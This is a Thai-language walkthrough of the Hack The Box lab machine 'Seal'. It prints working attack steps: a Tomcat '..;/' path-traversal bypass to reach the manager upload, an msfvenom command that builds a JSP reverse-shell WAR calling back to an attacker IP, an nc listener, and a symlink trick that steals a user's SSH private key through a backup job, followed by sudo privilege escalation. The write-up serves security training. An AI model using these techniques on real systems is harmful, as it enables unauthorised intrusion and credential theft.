[Walkthrough] Seal — HackTheBox

Datafarm
5 min readJan 5, 2022

สวัสดีครับ 🙏 พอดีช่วงนี้ได้มีเวลาเลยได้ไปนั่งเล่น Lab ของ Hack The Box ดูครับ ซึ่งในบทความนี้ก็เลยเอา Write Up ของข้อนึงที่ผมได้เล่นมาฝากกันครับ ซึ่งตัว Hack The Box จะมีโจทย์แต่ละข้อให้เล่นโดยการให้หา Flag ด้วยสิทธิ์ของทั้ง User และ Root และจะมี Lab ที่แบ่งเป็น Active Machines (Lab ที่เปิดให้เล่นโดยไม่ต้องสมัคร VIP ซึ่งจะเป็น Lab ใหม่ ๆ โดยจะมีอายุที่ประมาณ 6 เดือน) และ Retired Machines (Lab ที่ต้องสมัคร VIP ซึ่งจะเป็น Lab ที่มีอายุเกิน 6 เดือนแล้ว) และโจทย์แต่ละข้อก็ยังมีระดับความยากง่ายดังนี้ Easy, Medium, Hard และ Insane

สำหรับข้อ Seal (เป็นน้องอุ๋งงงง…) นั้นเป็นโจทย์ระดับ Medium และมี OS เป็น Linux เราสามารถเข้าไปเล่นโจทย์ข้อนี้ได้โดยการใช้ VPN ที่ Hack The Box สร้างให้เรามา

Reconnaissance

ก่อนอื่นเลยเรามา Discover Port ที่เปิดอยู่ก่อน โดยใช้งาน Tool ที่ชื่อว่า Nmap โดยมีคำสั่งดังนี้

nmap -sC -sV -v 10.10.10.250-sC => User Default Script-sV => Enumerate Version and Service

จะพบว่ามี Port 22, 443 และ 8080 เปิดอยู่เลยลองเปิดเว็บเบราเซอร์เพื่อลองเข้าเว็บไซต์ดูก็จะพบกับ Vegetable Shop ซึ่งไม่ได้พบอะไรที่น่าสนใจเท่าไหร่

จากนั้นจึงลอง Brute Force Directory ดูก็จะพบพาธต่าง ๆ

แต่พอลองเข้าก็จะพบว่ามัน 403 Forbidden ซึ่งเราไม่มีสิทธิ์ในการเข้าถึงนั้นเอง

เลยลองมาเข้าไปที่ Port 8080 ดูก็จะพบว่าเป็น GitBucket เลยลองสมัครสมาชิกและลองเข้าไปดู

เมื่อ Login เข้าไปก็จะพบว่าใน Repo การ Update Tomcat Configuration

เมื่อเข้าไปดูก็พบว่ามีการ Update Username และ Password ของ Tomcat อยู่ด้วย

Foothold

เอ้า…. ลองเข้าไปดูสักหน่อยโดยไปที่พาธ /manager/status แล้วใช้ Username และ Password ที่ได้มาเมื่อกี้ก็จะพบว่าสามารถเข้าไปที่ Console ของ Tomcat ได้

เมื่อลองหาข้อมูลการ Exploit Apache Tomcat ดูก็จะพบกับช่องโหว่เรื่อง Path Traversal ของ Apache Tomcat โดยการใช้ ..;/ ในการเปลี่ยนพาธซึ่งตัว ..;/ จะเท่ากับตัว ../ นั่นเอง [https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/]

จากนั้นก็ลองใช้มันสักหน่อย โดยใช้พาธเป็น /manager/status/..;/html ก็จะพบกับหน้าสำหรับ Manage Web Application บน Tomcat โดยเราสามารถ Upload ไฟล์ .war ได้

มาสร้าง Reverse Shell กันเลยโดยใช้ msfvenom ในการสร้าง Reverse Shell โดยใช้คำสั่ง

msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.29 lport=1337 -f war > c1.war-p     => Payload ที่จะใช้lhost  => IP Address เครื่องที่รอรับ Connection จากเครื่องเป้าหมายlport  => Port ที่รอรับ Connection จากเครื่องเป้าหมายf      => Format ที่เราต้องการนำไปใช้

ที่นี้เราก็ลอง Upload ไฟล์ดูเลย…. โดยเลือกไฟล์ และกด Deploy ผ่านหน้าเว็บ

กลับพบว่า Server มีการตอบกลับมาเป็น 403 Forbidden

เลยใช้ Intercepting Proxy Tools (Burp Suite) ก็จะพบว่าในขณะที่เรา Upload นั้นไม่ได้มีการใช้ช่องโหว่ Path Traversal เพื่อข้ามการตรวจสอบสิทธิ์

จากนั้นก็ลองทำการแก้ไขตัว Path จาก /manager/html/upload เป็น /manager/..;/manager/html/upload เพื่อใช้ช่องโหว่ Path Traversal ของ Apache Tomcat

เมื่อ Upload ไฟล์ขึ้นไปแล้ว เราก็ใช้ nc เพื่อรอรับ Connection จากเครื่องเป้าหมาย โดยใช้คำสั่ง

nc -nvlp 1337n => Numeric-only IP addressesv => Verbosel => Listen Mode, for Inbound Connectsp => Local Port Number

เมื่อทำการเปิดหน้าเว็บที่เรา Upload ขึ้นไปจะพบว่ามี Connection กลับมาที่ nc ของเรา

Get an User Shell

เมื่อได้ Shell มาแล้วก็ทำการ Spawn Shell ขึ้นมาโดยใช้คำสั่ง

python3 -c ‘import pty;pty.spawn(“/bin/bash”);’-c => Program Passed in as String

เมื่อ Spawn Shell เสร็จก็เลย Download linpeas.sh มาลงที่เครื่องเป้าหมาย และทำการ Run linpeas.sh แล้วพบว่ามี Process ที่เรียกใช้งานด้วย User luis อยู่ นั่นคือ

“sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml”

เราเลยลองไปเปิดอ่านไฟล์ run.yml ดูจะพบว่ามีการเขียนให้มีการ Backup ไฟล์จาก /var/lib/tomcat9/webapps/ROOT/admin/dashboard ไปที่ /opt/backups/files/ และมี copy_links=yes ซึ่งทำให้สามารถ Copy Link ไฟล์ได้ และจะมีการสร้าง Backup ไฟล์ที่ /opt/backups/archives/ โดยเป็นไฟล์ gzip

จากนั้นก็ไปที่ /var/lib/tomcat9/webapps/ROOT/admin/dashboard เพื่อทำการเช็คว่า User (tomcat) เรามีสิทธิ์ในการเขียนไฟล์ไหนได้มั่ง จะพบว่าเรามีสิทธิ์ในการเขียนไฟล์ uploads อยู่

เมื่อพบว่าเรามีสิทธิ์ในการเขียนไฟล์ uploads แล้ว ก็ทำการ Link ไฟล์ .ssh ของ User luis กับไฟล์ uploads โดยใช้คำสั่ง

ln -s /home/luis/.ssh uploads/-s => Create a Symbolic Link

พอสร้าง Link เสร็จก็ไปที่ Path /opt/backups/archives และใช้คำสั่ง ls เพื่อ List ไฟล์ใน Path ก็จะพบกับ Backup ไฟล์

ให้เราทำการแตกไฟล์ gzip แล้วจะได้ไฟล์ tar มาให้เราทำการแตกไฟล์อีกครั้ง เมื่อทำการแตกไฟล์เสร็จสิ้นเราจะพบไฟล์ .ssh/id_rsa

เมื่อเราเปิดอ่านเราจะได้ไฟล์ id_rsa เพื่อใช้ในการ ssh (Secure Shell) ด้วย User luis

ให้ทำการ ssh (Secure Shell) เป็น User luis ได้เลย

เมื่อ ssh (Secure Shell) เข้าไปจะพบไฟล์ user.txt

Escalate to Root

จากนั้นทำการ Run linpeas.sh อีกครั้งด้วยสิทธิ์ของ luis จะพบว่าเราสามารถใช้คำสั่ง sudo /usr/bin/ansible-playbook ได้โดยไม่ต้องใช้ Password

เมื่อเอาไป Search ก็จะพบว่ามี gtfobins ของ ansible-playbook อยู่ด้วย

ปล. gtfobins ซึ่งจะทำการรวบรวมคำสั่งต่าง ๆ ที่ใช้สำหรับการทำ Post-Exploitation หรือแม้กระทั่งประกอบเป็นส่วนหนึ่งของการทำ Exploitation โดยอาศัยไฟล์ และสคริปต์ที่มีการติดตั้งมาอยู่แล้วบน Windows และ Linux ในการออกจาก Restricted Environments, รับส่งไฟล์, Reverse/Bind Shell เป็นต้น โดยสามารถอ่านบทความเก่าได้ที่ลิงค์นี้ [https://m.facebook.com/nt/screen/?params=%7B%22note_id%22%3A398585291306307%7D&path=%2Fnotes%2Fnote%2F&_rdr]

จากนั้นก็ทำการ Exploit โดยใช้คำสั่งจาก gtfobins ก็จะพบว่าเรากลายเป็น root แล้ว และสามารถอ่านไฟล์ root.txt ได้

Conclusion

ก็จบแล้วสำหรับ Box นี้นะครับ โดยที่เราจะได้พบกับช่องโหว่ของ Apache Tomcat ที่ทำให้เราสามารถเข้าถึงหน้าเว็บที่เราไม่มีสิทธิ์ด้วยการใช้ Path Traversal และทำการ Upload Reverse Shell ได้อีกด้วย โดยในส่วนของ Privilege Escalation เป็น luis นั้นก็ไม่ซับซ้อนมากด้วยการหา Process ที่ Run ด้วย User luis และทำการ Link ไฟล์เพื่อทำการ Copy ไฟล์ id_rsa เพื่อเราจะได้ ssh (Secure Shell) ด้วย User luis และจากนั้นทำการหา Command ที่สามารถใช้ sudo โดยไม่ต้องใช้ Password และทำการ Exploit โดยสามารถดูวิธีการ Exploit ได้ด้วย gtfobins เท่านี้ก็จะเสร็จสิ้น Box นี้แล้วนะครับ ผมต้องขอตัวไปก่อน และพบกันใหม่ครับ ขอบคุณครับ 😄

--

--

No responses yet